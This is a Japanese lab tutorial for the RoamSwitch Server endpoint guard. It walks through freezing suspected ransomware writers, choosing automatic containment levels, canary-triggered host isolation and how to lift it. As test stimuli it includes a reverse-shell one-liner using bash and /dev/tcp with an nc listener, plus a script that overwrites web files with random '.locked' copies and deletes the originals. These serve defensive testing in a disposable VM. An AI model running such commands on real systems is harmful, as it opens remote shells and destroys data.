導入と設定

何を止め、何を知らせるだけにするか

何を自動で止め、何を知らせるだけにするかを決めます。ドキュメントルートの書き手の凍結、確度の高い隔離が時間では開かないこと、確認応答と解除のしかたまで学びます。

  • レベル: 実践
  • 約50分
  • 2026-11-12

#何を止め、何を知らせるだけにするか

RoamSwitch には、検知したときに自動で止める守りがあります。書き手のプロセスを凍結する、アカウントの通信を止める、ホスト全体を隔離する、の3段階です。止めれば被害は広がりにくくなります。誤検知なら、そのぶん業務が止まります。

この講座では、使い捨ての VM で、守りを実際に働かせます。働いたあとの見え方と、元に戻す手順を、1つずつ確かめます。扱う機能は、大量暗号化の検知、おとりファイルによる検知、カーネル層の侵入検知と自律隔離、封じ込めが止めないプロセスの指定 です。

方針を決める設定は、/etc/roamswitch/server.conf の次のキーです。どれも、変えたら再起動(sudo roamswitch server restart)で反映します。

キー既定値意味(設定ファイルと TUI の注記)
entropy_watch_enabledtrue監視するフォルダの、暗号化に似た書き込みを見る
entropy_watch_freezefalsetrue のときだけ、書き手を SIGSTOP で止める
entropy_docroot_actionnotifyWeb のドキュメントルートでの対応。freeze_writer で、Web サービスの書き手だけを止める
action_on_criticalisolateCritical の検知への対応。isolate freeze alert_only
isolation_hard_cap_secs3600確度の高い隔離を、全面のまま保つ秒数。過ぎると縮退に移る
preserve_ssh_on_isolationtrueホストの隔離中も、SSH の管理経路を残す
ssh_ports22隔離のあとも通す SSH のポート
protected_processes空自動の封じ込めが止めないプロセスの追加分
いまの方針を読む

読むだけの操作です。何も変えません。

for k in entropy_watch_enabled entropy_watch_freeze entropy_docroot_action action_on_critical isolation_hard_cap_secs preserve_ssh_on_isolation ssh_ports protected_processes; do
  printf '%s = ' "$k"; sudo roamswitch server config get "$k"
done
ls /etc/roamswitch/guard.yaml
実行結果
entropy_watch_enabled = true
entropy_watch_freeze = false
entropy_docroot_action = notify
action_on_critical = isolate
isolation_hard_cap_secs = 3600
preserve_ssh_on_isolation = true
ssh_ports = 22
protected_processes = 
ls: cannot access '/etc/roamswitch/guard.yaml': No such file or directory

入れた直後は、guard.yaml がありません。guard.yaml.example の注記では、このとき、action_on_critical から同じ働きの方針を作ります。深刻度ごとに細かく決めたいときだけ、例をコピーして guard.yaml を作ります。

#大量暗号化の検知を、通知だけで試す

エントロピー検知は、監視するフォルダに書かれたファイルの先頭を読みます。中身が暗号化されたように見えるファイルを、1つのプロセスが 5 秒に 20 個書くと、通知します。entropy_watch_dirs が空のときは、Web サーバーのドキュメントルートと、/var/www、/srv のうち、あるものを見ます。

既定は、通知だけです。書き手は止めません。

ダミーのファイルを大量に書く

/srv/appdata に、ランダムな中身のファイルを 200 個書きます。admin は、この VM のユーザーです。ランダムなバイト列は、暗号化されたファイルと同じく、エントロピーが高くなります。本物の暗号化はしません。

sudo mkdir -p /srv/appdata && sudo chown admin:admin /srv/appdata
cat > /tmp/fake-encrypt.sh <<'SH'
#!/bin/sh
# 練習用: 暗号化されたファイルに似た、ランダムな中身のファイルを次々に書く
i=0
while [ $i -lt 200 ]; do
  i=$((i+1))
  head -c 16384 /dev/urandom > /srv/appdata/doc_$i.bin
  sleep 0.05
done
echo "wrote $i files"
SH
chmod +x /tmp/fake-encrypt.sh
/tmp/fake-encrypt.sh
sudo roamswitch notifications | sed -n 5,24p
出力の抜粋
wrote 200 files
  監視中のフォルダーに、暗号化されたように見えるファイルが続けて書かれました
    🚨 監視しているフォルダーで、中身が暗号化されたように見えるファイルが、1つのプロセスから5秒のあいだに 20 個書かれました(平均エントロピー 7.99 ビット/バイト)
    ホスト: ubuntu (IP: 192.168.64.28)
    /srv/appdata/doc_1.bin
    /srv/appdata/doc_2.bin
    ... +10
    対応: 通知のみ(プロセスは止めていません)。書き込んだプロセスを自動で止めるには、/etc/roamswitch/server.conf で entropy_watch_freeze=true にして再起動してください
    プロセス: admin / /usr/bin/dash / コマンド: /bin/sh /tmp/fake-encrypt.sh (pid 2524)

200 個とも書き終わりました。通知には、書いたプロセスとコマンドが入ります。「対応: 通知のみ」が、いまの方針です。

#書き手を凍結して、解除する

entropy_watch_freeze=true にすると、同じ書き込みで、書き手が SIGSTOP で止まります。既定では止めない(オプトイン)ことが、設定ファイルの注記にあります。

凍結に切り替えて、解除する

設定を変える操作です(変更を伴う操作です)。最後に元に戻します。

sudo roamswitch server config set entropy_watch_freeze true
sudo roamswitch server restart
rm -f /srv/appdata/*
setsid -f /tmp/fake-encrypt.sh > /tmp/fake.log 2>&1
sleep 5
ls /srv/appdata | wc -l
sudo roamswitch frozen list
出力の抜粋
20
=====================================================
  ❄️ 凍結中のプロセス
=====================================================

  PID 3268  fake-encrypt.sh
    理由: ランサムウェア暗号化バースト
    凍結時刻: 2026-11-12T02:01:55.444374398+00:00

  誤検知だった場合: roamswitch frozen resume <PID>  (強制終了はしていないため、停止位置からそのまま再開します)

200 個のうち、20 個で止まりました。通知の「対応」は、「書き込んだプロセスを一時停止しました(SIGSTOP)」に変わります。凍結は、デーモンを再起動しても続きます。凍結は終了ではありません。解除すると、止めた位置から続きます。

sudo roamswitch frozen resume 3268
sleep 12
cat /tmp/fake.log
sudo roamswitch server config set entropy_watch_freeze false
sudo roamswitch server restart
出力の抜粋
  ✓ PID 3268 を解除しました (SIGCONT)。停止した位置から再開します。
wrote 200 files
  ✓ サーバー設定を更新・保存しました。 (entropy_watch_freeze = false)

解除したあと、残りを書き終えました。

端末から切り離して動かしました

練習では、setsid -f で書き手を端末から切り離しました。凍結は、書き手だけでなく、書き手を動かしたスクリプトの親にも及びます。対話中のログインシェルは止めません。止まったものは、frozen list に「検知されたプロセスと一緒に止めた」と出ます。

ドキュメントルートでは、Web サービスの書き手だけを止める

Web のドキュメントルートには、おとりのファイルを置きません。Web サーバーから誰でも取得できてしまうためです。ここを守るのは、エントロピー検知だけです。ドキュメントルートはアップロードも受けるので、entropy_watch_freeze とは別に、entropy_docroot_action で決めます。

freeze_writer にすると、止めるのは次の両方がそろったときだけです(設定ファイルの注記)。5 秒に 20 個のうち 15 個以上が、もとからあったファイルの置き換えであること。書き手が www-data などの Web サーバーのアカウントか、Web サーバー・PHP-FPM のユニットで動いていること。root や sudo で動かしたデプロイは止めません。ホストも隔離しません。

設定を変え、ファイルを作る操作です(変更を伴う操作です)。この VM には /var/www が無かったので、/var/www/html/site を作って試します。作ってから再起動すると、監視するフォルダに /var/www が加わります。

sudo mkdir -p /var/www/html/site
for i in $(seq 1 40); do yes "page $i: dummy html for practice" | head -c 8192 | sudo tee /var/www/html/site/page_$i.html > /dev/null; done
sudo chown -R www-data:www-data /var/www/html/site
sudo tee /opt/docroot-encrypt.py > /dev/null <<'PY'
# 練習用: ドキュメントルートのファイルを、ランダムなバイト列の .locked に置き換え、元を消す
import os, sys, time
d = sys.argv[1]
for name in sorted(os.listdir(d)):
    if not name.endswith(".html"):
        continue
    src = os.path.join(d, name)
    with open(src + ".locked", "wb") as f:
        f.write(os.urandom(os.path.getsize(src)))
    os.remove(src)
    time.sleep(0.05)
print("done")
PY
sudo roamswitch server config set entropy_docroot_action freeze_writer
sudo roamswitch server restart
sudo systemd-run --unit=lab-web -p User=www-data python3 /opt/docroot-encrypt.py /var/www/html/site
sleep 8
ls /var/www/html/site | grep -c locked
sudo roamswitch frozen list
sudo roamswitch server ebpf | sed -n 5p
sudo roamswitch notifications | grep -m1 '対応:'
出力の抜粋
Running as unit: lab-web.service; invocation ID: 8cb297a035394ac9835b264a1513a562
20
  PID 4445  python3
    理由: ランサムウェア暗号化バースト
    凍結時刻: 2026-11-12T02:02:35.364328656+00:00

  現在の隔離状態: [隔離なし]
    対応: 書き込んだプロセスを一時停止しました(SIGSTOP)。誤検知なら `roamswitch frozen resume 4445` で、止めた位置から再開できます

www-data の書き手は、40 個のうち 20 個で止まりました。ホストは隔離されていません。既定の notify に戻して同じことをすると、40 個とも置き換わり、通知だけが出ました。そのときの「対応」の行は、entropy_docroot_action=freeze_writer にすれば止められることを案内します。

元に戻します。凍結を解くと、書き手は残りを書いて終わります。凍結を解かずに sudo systemctl stop lab-web で止めることもできます。この VM では 0.1 秒で止まり、凍結の一覧からも消えました。

sudo roamswitch frozen resume 4445
sudo roamswitch server config set entropy_docroot_action notify
sudo rm -rf /var/www /opt/docroot-encrypt.py
sudo roamswitch server restart

止めてはいけないプロセスを守る

データベースや業務のワーカーは、誤検知で止まると困ります。protected_processes に足すと、自動の封じ込めは、そのプロセスを凍結も kill もしません。名前で足したものは、実行ファイルが /usr などシステムの場所にあるときだけ効きます。

sudo roamswitch server config set protected_processes socat
sudo roamswitch server allowlist test "RoamSwitch Reverse Shell" socat --exe /usr/bin/socat
sudo roamswitch server allowlist test "RoamSwitch Reverse Shell" socat --exe /tmp/socat
sudo roamswitch server config set protected_processes ""
出力の抜粋
  ✓ 凍結・kill の保護: 保護対象(server.conf の protected_processes、名前)。ガードは凍結も kill もしません。
  ✗ 凍結・kill の保護: 名前は保護の一覧にありますが、実行ファイルが /tmp/socat にあり、システムの場所の外なので保護されません(名前の偽装を防ぐため)。

allowlist test は、何も実行しません。同じ名前でも、/tmp に置いた偽物は守られません。別の場所に入れたソフトは、絶対パスで足します。sshd やパッケージ管理のように、組み込みの一覧で守られているものもあります。

#Critical の検知への対応を、action_on_critical で変える

action_on_critical は、Critical の検知に、どこまでするかを決めます。ここでは、リバースシェルの監視で試します。この監視は 2 秒ごとに /proc を読みます。シェルの入出力が外への TCP 接続になっていると、Critical の検知として、この方針に従います。

練習では、相手を同じ VM の中に立てます。プライベートの宛先も外として数えるように、reverse_shell_watch_include_private を一時的に true にします。

通知だけ、隔離、凍結を比べる

設定を変え、アカウントの通信を止める操作です(変更を伴う操作です)。最後に元に戻します。

まず、alert_only(通知だけ)にします。sleep 1 は、nc が待ち受けを始める前にシェルがつなぎに行かないための待ち時間です。

IP=$(hostname -I | awk '{print $1}')
sudo roamswitch server config set reverse_shell_watch_include_private true
sudo roamswitch server config set action_on_critical alert_only
sudo roamswitch server restart
setsid -f nc -lk "$IP" 4444 > /dev/null 2>&1 < /dev/null
sleep 1
setsid -f bash -c "exec bash -i >& /dev/tcp/$IP/4444 0>&1" > /dev/null 2>&1 < /dev/null
sleep 10
sudo roamswitch server ebpf
pgrep -a -x bash
pkill -x nc
出力の抜粋
  現在の隔離状態: [隔離なし]
  (中略)

  【検知されたインシデント】
   🚨 [2026-11-12T02:03:03.602023068+00:00] RoamSwitch Reverse Shell - 記録のみ(ガードの設定により、遮断しない) (プロセス: bash)
   (中略)

5074 bash -i

検知は記録されました。シェルは動いたままです。相手(nc)を止めると、シェルも終わります。

次に、既定の isolate に戻して、同じことをします。

sudo roamswitch server config set action_on_critical isolate
sudo roamswitch server restart
setsid -f nc -lk "$IP" 4444 > /dev/null 2>&1 < /dev/null
sleep 1
setsid -f bash -c "exec bash -i >& /dev/tcp/$IP/4444 0>&1" > /dev/null 2>&1 < /dev/null
sleep 10
sudo roamswitch server ebpf | sed -n 5,8p
pgrep -a -x bash; echo "bash rc=$?"
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
sudo curl -sS -m 5 -o /dev/null https://example.com; echo "curl(root) rc=$?"
出力の抜粋
  現在の隔離状態: [隔離中: そのプロセスのアカウントが送る通信]
  隔離対象PID: [5419 (終了済み)]
  隔離したプロセス(5419)はすでに終了しています。通信を止める規則は、そのプロセスのアカウントが送る通信全体に掛かっているため、残ったままです。解除は sudo roamswitch emergency-restore です。
  保守用開放ポート: [22]
bash rc=1
curl: (6) Could not resolve host: example.com
curl(admin) rc=6
curl(root) rc=0

シェルは SIGKILL で終わりました。通知の「自律防御アクション」も「アカウント admin が送る通信を遮断 + SIGKILL で終了」と、実際の単位を書きます。隔離状態の表示のとおり、通信の遮断は、シェルを動かしたアカウント(admin)の外向きの通信すべてに掛かっています。root の通信は通ります。ホスト全体は隔離されていません。

遮断を外します。表示は emergency-restore を案内しますが、隔離したプロセスの PID を frozen resume に渡しても外れます。こちらは、ホスト全体の隔離やほかの凍結には触れません。

pkill -x nc
sudo roamswitch frozen resume 5419; echo "resume rc=$?"
sudo roamswitch server ebpf | sed -n 5p
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
sudo roamswitch frozen resume 5419; echo "resume rc=$?"
出力の抜粋
  ✓ PID 5419 の個別ネットワーク遮断も解除しました。
resume rc=0
  現在の隔離状態: [隔離なし]
curl(admin) rc=0
  PID 5419 は、RoamSwitch が凍結や通信の遮断をしているプロセスではありません。何もしていません。凍結中のプロセスは roamswitch frozen で一覧できます。
resume rc=1

シェルは終わっていますが、遮断は外れました。2回目は、もう外すものがないので、何もせず終了コード 1 を返します。

最後に、freeze を試します。

sudo roamswitch server config set action_on_critical freeze
sudo roamswitch server restart
setsid -f nc -lk "$IP" 4444 > /dev/null 2>&1 < /dev/null
sleep 1
setsid -f bash -c "exec bash -i >& /dev/tcp/$IP/4444 0>&1" > /dev/null 2>&1 < /dev/null
sleep 10
sudo roamswitch frozen list
ps -o pid,stat,cmd -C bash
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
出力の抜粋
  PID 5843  bash
    理由: eBPF ランタイムガード
    凍結時刻: 2026-11-12T02:03:38.801540242+00:00

  誤検知だった場合: roamswitch frozen resume <PID>  (強制終了はしていないため、停止位置からそのまま再開します)

    PID STAT CMD
   5843 Ts   bash -i
curl: (6) Could not resolve host: example.com
curl(admin) rc=6

シェルは止まったまま残っています(STAT の T)。アカウントの通信も止まっています。凍結を解き、設定を元に戻します。

sudo roamswitch frozen resume 5843; echo "resume rc=$?"
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
pkill -x nc
sudo roamswitch server config set action_on_critical isolate
sudo roamswitch server config set reverse_shell_watch_include_private false
sudo roamswitch server restart
出力の抜粋
  ✓ PID 5843 を解除しました (SIGCONT)。停止した位置から再開します。
  ✓ PID 5843 の個別ネットワーク遮断も解除しました。
resume rc=0
curl(admin) rc=0
  ✓ サーバー設定を更新・保存しました。 (action_on_critical = isolate)
  ✓ サーバー設定を更新・保存しました。 (reverse_shell_watch_include_private = false)
  ✓ roamswitch-server サービスを正常に再起動しました。

frozen resume 1つで、凍結と通信の遮断が両方外れました。表示は「個別ネットワーク遮断」ですが、外れたのはアカウント単位の遮断です。

自動で止めるか、通知だけにするか

action_on_critical の3つの値を、この VM で試した結果で比べます。

値試した結果向いている場面
isolate(既定)シェルを SIGKILL で終了し、そのアカウントの外向き通信を止めた当番が駆けつけるまで、被害を止めることを優先する
freezeシェルを SIGSTOP で凍結し、そのアカウントの外向き通信を止めた。frozen resume で、凍結と遮断が両方外れた止めたいが、プロセスの中身を調べるために残したい
alert_only記録と通知だけ。シェルは動き続けた誤検知で業務が止まると困る。人が必ずすぐ見る

止める方針の代わりに失うのは、誤検知のときの業務です。アカウント単位で止まるため、同じアカウントで動く別のサービスの通信も止まります。サービスごとにアカウントを分けておくと、止まる範囲が狭くなります。

通知だけにするなら、通知が人に届くことを、sudo roamswitch server test-notify で先に確かめます。届かない通知は、守りになりません。

#カナリアの改ざんと、ホスト全体の隔離

おとりファイルによる検知 は、おとりのファイルを置き、書き換えを見ます。この VM では、おとりは /var/lib/roamswitch/canary/ にありました。/srv、/opt、/root、/etc/roamswitch にも、隠しファイルのおとり(.roamswitch_security_canary_do_not_delete.*)がありました。

Server Edition では、おとりが書き換えられると、ホスト全体を隔離(Air-Gap)します。ソースでは、この対応は action_on_critical に左右されず、止めるキーもありません。おとりは inotify で見張られ、書かれるとすぐ調べます。

おとりを書き換えて、隔離から戻す

ホスト全体の通信を止める操作です(変更を伴う操作です)。SSH の管理経路は残りますが、必ず使い捨ての環境で試してください。

sudo ls -a /srv
echo "practice" | sudo tee -a /srv/.roamswitch_security_canary_do_not_delete.xlsx > /dev/null
sleep 3
sudo roamswitch server ebpf | sed -n 5,6p
curl -sS -m 5 -o /dev/null https://example.com; echo "curl rc=$?"
sudo roamswitch notifications | sed -n 5,30p
出力の抜粋
.roamswitch_security_canary_do_not_delete.pdf
.roamswitch_security_canary_do_not_delete.xlsx
.roamswitch_security_canary_do_not_delete.zip
appdata
  現在の隔離状態: [隔離中: host_with_maintenance_ssh]
  保守用開放ポート: [22]
curl: (28) Connection timed out after 5001 milliseconds
curl rc=28
  ランサムウェア・カナリア発火
    🚨 カナリア(おとり)ファイルが改ざん / 暗号化書き込みされました
    対象デコイ: /srv/.roamswitch_security_canary_do_not_delete.xlsx
    疑わしいプロセス: tee (PID: 6227)
    実行した封じ込め: ホストをAir-Gap隔離しました(原因プロセス(tee、PID 6227)は、すでに終了していたため、凍結できませんでした)
    プロセス: root / /usr/bin/tee / コマンド: tee -a /srv/.roamswitch_security_canary_do_not_delete.xlsx (pid 6227) ※プロセスは既に終了していたため、実行の記録(2026-11-12 02:03:55)から補いました。
    (中略)
  🚨 ランサムウェア用おとりファイルが反応(ホスト隔離の直前)
    (中略)
    原因のプロセスが終わっても、この隔離は自動では解除しません。確認してから sudo roamswitch emergency-restore で解除してください。確認応答のないまま上限時間(既定60分)が過ぎると縮退に移り、縮退中は sudo roamswitch server ack で解除します。

おとりは書かれるとすぐ調べるので、3 秒待てば隔離されています。外への通信は止まりました。書き換えた tee はすでに終わっていたので、凍結はしていません。隔離の直前の通知の最後の行が、解除のしかたです。隔離の中でも、tart exec(VM の管理経路)で作業を続けました。

SSH が残っているかを、VM を動かしている Mac から確かめます。

nc -z -G 3 192.168.64.28 22
実行結果
Connection to 192.168.64.28 port 22 [tcp/ssh] succeeded!

preserve_ssh_on_isolation=true と ssh_ports=22 のとおり、22 番は開いたままです。

書き換えた tee は終わっています。そのまま 6 分あまり待ち、隔離が自動で開かないことを確かめます。

sleep 380
sudo roamswitch server ebpf | sed -n 5,6p
curl -sS -m 5 -o /dev/null https://example.com; echo "curl rc=$?"
実行結果
  現在の隔離状態: [隔離中: host_with_maintenance_ssh]
  保守用開放ポート: [22]
curl: (28) Resolving timed out after 5005 milliseconds
curl rc=28

原因のプロセスが終わっても、隔離は続きました。確度の高い隔離は、プロセスが終わっただけでは、原因が消えたと数えません。

確認応答(server ack)を返し、emergency-restore で解除します。原因が消えたと確かめられないので、emergency-restore は RESTORE の入力を求めます。

sudo roamswitch server ack
sudo roamswitch emergency-restore
sudo roamswitch server ebpf | sed -n 5p
sudo roamswitch server restart
sleep 10
curl -sS -m 5 -o /dev/null https://example.com; echo "curl rc=$?"
出力の抜粋
  ✓ 現在の緊急隔離(388秒経過)を確認しました。確認済みの間は自動で縮退・復旧せず、現在の隔離を維持します。
  解除するには: sudo roamswitch emergency-restore
  現在の状態:
    隔離中(原因: ランサムウェア用おとりファイルの改ざん, 段階: 全面)

  ⚠️ 隔離の原因が解消したことを、確認できていません。この状態でネットワークを元に戻すと、原因が残っている場合、その影響を受けたまま通信が再開します。
  続けるには RESTORE と入力してください:
  🔄 緊急遮断・隔離ルールを全解除し、ベースラインへ復旧中...
    ✓ 隔離の記録
    ✓ 通信を止めうるファイアウォールのテーブル
    ✓ DNSの設定
    ✓ 接続の追跡
  次のファイアウォールのテーブルは、隔離ではないので残しました:
    - roamswitch_server: サーバーの受信の規則(ssh_ports・allowed_ports だけを通す、ふだんの防御)
  ✓ ネットワークを復旧しました。
  (中略)
  現在の隔離状態: [隔離なし]
  🔄 roamswitch-server サービスを再起動中...
  ✓ roamswitch-server サービスを正常に再起動しました。

curl rc=0

プロンプトで RESTORE と入力すると、隔離が外れ、再起動のあとの外への通信も通りました。no と入れたときは「中止しました。何も変更していません。」と出て、終了コード 1 で終わりました。端末のない環境では「対話できない環境では、実行しません」と出て、終了コード 2 で終わります。そこで解除するときは --force を付けます。再起動は、ふだんの守りの規則を入れ直すためです。

確認応答がないまま上限を過ぎると、縮退に移ります

確認応答のない隔離は、isolation_hard_cap_secs(既定 3600 秒)のあと、縮退(DEGRADED)に移ります。縮退でも、管理用の SSH のポートと、whitelist_ips 宛ての通信だけを通します。この VM で 120 秒にして、同じおとりの書き換えで試しました(変更を伴う操作です。最後に 3600 に戻しました)。

出力の抜粋(isolation_hard_cap_secs=120 で待ったとき)
  現在の隔離状態: [隔離中: host_degraded]
  保守用開放ポート: [22]
curl: (28) Resolving timed out after 5001 milliseconds
curl rc=28
  🛡️ 隔離を縮退モードへ移行しました
    ランサムウェア用おとりファイルの改ざん (PID 8484 / /srv/.roamswitch_security_canary_do_not_delete.xlsx)を原因とするホスト隔離が2分間続き、その間に確認応答がありませんでした。安全のため通信は再開せず、縮退モードに移行しました(管理用SSHポート/ホワイトリストIPと確立済みの接続のみ許可。新規の外向き通信はホワイトリスト宛のみ)。時間が経っても、原因のプロセスが終わっても、自動では解除しません。
    確認して解除するには: sudo roamswitch server ack(縮退中は確認応答で解除)、または sudo roamswitch emergency-restore
  ✓ 縮退隔離(205秒経過)を確認しました。デーモンが約15秒以内に隔離を解除し、通信を復旧します。

縮退に移っても、外への通信は止まったままでした。縮退中の server ack は、隔離を解く操作になります。全面の隔離のときの server ack は、隔離を保つ操作です。同じコマンドで働きが変わるので、いまの段階を server ebpf で確かめてから実行します。

隔離の中で、管理経路を自分で閉じない

ssh_ports を sshd の実際のポートと違う番号にしたり、preserve_ssh_on_isolation=false にしたりすると、隔離のあとで自分が入れなくなります。また、whitelist_ips が空のままだと、隔離中の 22 番はどこからでもつながります(デーモンのログに警告が出ます)。管理元のアドレスが決まっているなら、whitelist_ips に書きます。

#見えない部分

この VM で確かめたことと、確かめた範囲
  • エントロピー検知は、決まった書き手を信頼します。python3 で同じ書き込みをしたときは、通知が出ませんでした。ソースの注記では、python3、openssl、gpg が作るファイルは、それだけでは数えません。元のファイルを消す動きが重なると数えます
  • 20 個までは書かれます。凍結は、20 個目を数えたあとです。この VM では、/srv でもドキュメントルートでも、凍結までに 20 個が書かれました
  • 見るのは監視するフォルダだけです。entropy_watch_dirs を空にすると、ある既定のフォルダだけを見ます。この VM では /srv だけで、/var/www を作って再起動すると、/var/www も加わりました(デーモンのログ)
  • アカウント単位の遮断は、sudo roamswitch frozen resume <PID> で外せます。プロセスが終わったあとでも外れます。server ebpf の表示は emergency-restore を案内しますが、こちらはホスト全体の隔離も含めて、緊急の規則をすべて外します
  • 自動で解ける隔離は、確度の低いものだけです。デーモンのログの low_secs=300 hard_cap_secs=3600 のうち、300 秒で解けるのは、確度の低い隔離です(ソースの注記)。おとりの改ざんは、この VM で 6 分あまり待っても解けず、上限を過ぎると縮退に移りました
確認問題

entropy_watch_freeze を変えていないサーバーで、監視するフォルダに暗号化に似たファイルが大量に書かれました。何が起きますか

解説を見る

entropy_watch_freeze の既定は false です。止めたいときは true にして、再起動します。止まった書き手は roamswitch frozen list に出て、roamswitch frozen resume <PID> で続きから再開します。

確認問題

おとりの改ざんでホストが隔離されました。書き換えたプロセスは、もう終わっています。確認応答を返さないと、どうなりますか

解説を見る

確度の高い隔離は、原因のプロセスが終わっただけでは開きません。上限(既定 60 分)を過ぎると縮退に移り、縮退中は server ack で解除します。全面のまま保ちたいときは、上限の前に server ack を返します。

#次に学ぶこと

扱う機能

対応する攻撃手法 (ATT&CK): T1486 T1685

確認した内容

2026-11-12に確認しました。対象は Linux 1.17.39 です。使い捨ての Ubuntu 24.04 の VM(公開版 1.17.39)で、凍結と解除、ドキュメントルートの freeze_writer と notify、凍結中のユニットの systemctl stop、action_on_critical の 3 つの値、おとりによる隔離(3 秒で隔離、6 分あまり待っても開かないこと、上限 120 秒での縮退、端末からの RESTORE と no、端末なしの終了コード)を日本語と英語で実行して確かめました。

コマンドの出力は、製品の版や環境によって変わります。違いが出たら、まず製品の版を確かめてください。